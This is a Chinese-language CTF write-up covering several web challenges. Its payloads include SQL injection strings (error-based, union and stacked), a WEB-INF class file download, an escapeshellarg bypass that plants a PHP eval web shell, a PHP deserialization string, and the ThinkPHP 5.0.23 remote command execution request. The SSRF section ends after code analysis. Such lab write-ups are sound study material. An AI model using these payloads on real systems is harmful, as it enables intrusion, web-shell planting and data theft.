Week 5 <2020.08.31 - 2020.09.06>

[极客大挑战 2019]HardSQL

报错注入:

payload
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆出数据库名:'~geek'
payload
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆出表名:'~H4rDsq1'
payload
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
爆出字段名:'~id,username,password'
payload
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
爆出的数据只有一半flag,使用{left(),right()}取完整数据:
payload
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

flag{bc58a963-2460-48a3-8a3a-32476550ef95}

[GXYCTF2019]BabySQli

网页源码里有一段:

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32 + base64 解密可以得到select * from user where username = '$name'
尝试一下发现user = admin是存在的
payload:

1
2
user=' union select 1,2,3 #			//报错
user=' union select 1,2,3,4 # //不报错
1
user=' union select 1,'admin',3#	//不报错

那么那么,一共三个字段,第二个是user,第三个是password

知识点:

查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

此时payload:
username栏:'union select 1,admin','e10adc3949ba59abbe56e057f20f883e'# password栏:123456
ag{369a193d-5981-4b62-8ead-daebdcdf79a3}

[RoarCTF 2019]Easy Java

进入页面,点击help,无法下载。java.io.FileNotFoundException:{help.docx}

考察Java Web知识

简单来说

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

尝试用post方法
发现com.Wm.ctf.FlagController
应该就是class文件的路径

尝试payload:post方法下载
/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

class文件里有
ZmxhZ3s3MGYyYjkyZi0xOTI3LTQxZTktYWI0OS05MjdiNzE2OGI4Y2N9Cg==

base64解密:
flag{70f2b92f-1927-41e9-ab49-927b7168b8cc}

[BUUCTF 2018]Online Tool

打开网页一堆代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

漏洞解释:
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

传入的参数是:172.17.0.2’ -v -d a=1
经过escapeshellarg处理后变成了’172.17.0.2’\’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成’172.17.0.2’\\’’ -v -d a=1\’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl ‘172.17.0.2’\\’’ -v -d a=1\’,由于中间的\\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。

所以一通分析,写一句话木马:
payload:

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

再用蚁剑连接即可得到flag

[网鼎杯 2020 青龙组]AreUSerialz

网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

考点:php反序列化

绕过is_valid(),php7.1+对类属性的检测不严格,所以可以用public来突破
绕过op==’2’,使用数字2进行弱类型匹配

payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag{049376a0-6dc6-49fe-9c33-01a7f179e89e}

[BJDCTF 2nd]old-hack

网页告诉了我们是thinkphp5的漏洞

搜索知是thinkphp5.0.23的命令执行漏洞

payload

POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /

发现flag位置

payload
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

获取flag
flag{107bc877-436f-4481-8ee8-129600341f0f}

[De1CTF 2019]SSRF Me

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

这里有三个路由:

1
2
3
@app.route("/geneSign", methods=['GET', 'POST'])
@app.route('/De1ta',methods=['GET','POST'])
@app.route('/')

1./geneSign:获取param参数和已定义的action=”scan”调用getSign函数来生成签名。
2./De1ta:从cookies里获取action和sign,再获取param参数和ip,构造一个Task类对象并调用Exec方法,最后以json形式返回结果。
3./:首页获取源码。

getSign方法:将secert_key 、 param 和 action拼接在一起,返回MD5加密的结果

[GYCTF2020]Blacklist

堆叠注入

payload

1
2
3
4
1';
1';show tables;
1';show columns from `FlagHere`;
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#